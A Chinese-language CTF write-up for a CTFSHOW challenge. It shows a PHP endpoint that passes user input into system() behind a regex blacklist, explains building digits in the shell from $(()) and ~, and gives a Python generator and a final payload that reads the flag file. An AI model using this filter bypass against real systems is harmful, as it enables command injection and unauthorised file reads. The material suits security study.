Shell中无数字及运算符构造数字

101 阅读1分钟

CTFSHOW中见到的一题,过滤了数字字母及很多符号,但是没有过滤~$、以及()。再结合题目直接调用了system,是在shell中cat一个文件,只有文件名可控,所以可以使用$(())在shell中来构造数字

题目:

<?php
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\/|\+|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

分析:

$(())是shell里的运算符,会将括号里的结果计算出来 $(())=0 $((1+1))=2 ~x为取x的补码,~x=-x-1~(~x)=x 注:另一个重要的点是两个正数贴在一起会变成一个两位数

构造脚本:

# -*- coding: utf-8 -*-
# @Time : 2022/1/7 13:47
# @File : Shell中无数字及运算符构造数字.py
# @Software : PyCharm
import math

N = {}
N[0] = '$(())'
N[1] = '$((~$(($((~$(())))$((~$(())))))))'
N[2] = '$((~$(($((~$(())))$((~$(())))$((~$(())))))))'
N[3] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
N[4] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
N[5] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
N[6] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
N[7] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
N[8] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'
N[9] = '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))'


def number_switcher(num):
    result = ''
    if num == 0:
        return N[0]
    if num == -1:
        return '$((~$(())))'
    if num > 0:
        t = num
        k = 0
    else:
        t = ~num
        k = 1
    n = {}
    len = 0
    while t:
        n[len] = t % 10
        t = math.floor(t/10)
        len += 1
    for i in range(0, len):
        result += N[n[len-i-1]]
    if k:
        result = '$((~' + result + '))'
    else:
        result = '$((' + result + '))'
    return result

print(number_switcher(36))

payload:

?c=$(($((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))))